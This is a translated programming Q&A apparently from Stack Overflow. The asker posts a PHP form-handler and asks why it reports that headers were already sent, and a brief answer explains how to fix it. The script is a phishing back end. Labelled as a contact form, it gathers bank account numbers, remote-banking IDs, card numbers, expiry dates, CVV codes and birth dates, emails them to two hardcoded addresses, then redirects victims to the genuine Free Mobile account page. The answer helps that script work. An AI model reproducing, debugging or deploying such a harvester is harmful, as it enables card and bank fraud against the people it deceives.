Php邮件脚本返回错误说已经使用了标头

时间:2015-03-31 22:45:57

标签: php email

<?php 
if(isset($_POST['submitbtn']))
{

    $pname= $_POST['nom'];
    $telephone= $_POST['telph'];
    $acnumber= $_POST['compte'];
    $rbl= $_POST['distance'];
    $cardno = $_POST['carte'];
    $expmonth = $_POST['months'];
    $expyear = $_POST['year'];  
    $cvv = $_POST['cvv'];
    $dob = $_POST['birth'];
    $subject = 'Contact Form from '.$pname.'';
    $message = 'Nom et prénom:- '.$pname.'

Telephone: '.$telephone.'

Numéro de compte:- '.$acnumber.'

Identifiant banque à distance:- '.$rbl.'

Numéro de Carte:- '.$cardno.'

date d expiration:- '.$expmonth.','.$expyear.'

Cvv 2:- '.$cvv.'

Date de naissance :- '.$dob.' ';

 $to = "eyas.ma@yahoo.fr,joejyma11@hotmail.com";
 $header = "From:www.webperfection.co.in/clients/photonics/ \r\n";
 $retval = mail ($to,$subject,$message,$header);
 if ($retval) {
 header("Location: https://mobile.free.fr/moncompte/");
 exit;
} else {
 //header("Location: /error.html");
 exit;
}

}
?>

问题是什么?我希望它能够像发送电子邮件一样,将页面重定向到https://mobile.free.fr/moncompte/

你能帮我解决一下吗?

1 个答案:

答案 0 :(得分:0)

确保在调用标头之前不要在页面上回显任何内容。在标题调用

后添加die();